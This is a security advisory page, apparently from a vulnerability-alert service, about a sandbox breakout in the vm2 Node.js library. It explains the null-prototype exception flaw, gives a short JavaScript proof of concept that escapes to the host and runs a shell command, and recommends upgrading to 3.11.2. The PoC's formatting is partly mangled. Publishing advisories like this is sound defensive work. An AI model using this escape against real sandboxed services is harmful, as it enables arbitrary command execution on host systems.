CVE-2026-44009: vm2: Sandbox Breakout Through Null Proto Exception

Published May 8, 2026
·
Updated

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use from (not ensureThis) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.

PoC

js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run( const o = {proto: null}; try { throw o; } catch (e) { e.f = Buffer.prototype.inspect o.f.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } ));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Other sources

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, This vulnerability is fixed in 3.11.2.

MITRE

Affected Software

2 affected componentsFixes available
npm/vm2<3.11.2
3.11.2
Vm2 Project Vm2 Node.js<3.11.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.2
  2. Upgrade

    Upgrade vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.2

Event History

May 8, 2026
Advisory Published
via GitHub·04:20 PM
Data Sourced
via GitHub·04:20 PM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·05:36 PM
Data Sourced
via MITRE·05:36 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·06:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44009?

CVE-2026-44009 is classified as a critical severity vulnerability that allows sandbox breakout.

2

How do I fix CVE-2026-44009?

To fix CVE-2026-44009, upgrade to vm2 version 3.11.2 or later.

3

What is the impact of CVE-2026-44009?

The impact of CVE-2026-44009 allows attackers to execute arbitrary commands on the host from the VM2 sandbox.

4

Which versions of vm2 are affected by CVE-2026-44009?

CVE-2026-44009 affects all versions of vm2 up to 3.11.2.

5

Can CVE-2026-44009 impact production environments?

Yes, CVE-2026-44009 can significantly impact production environments by allowing unauthorized access to host resources.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203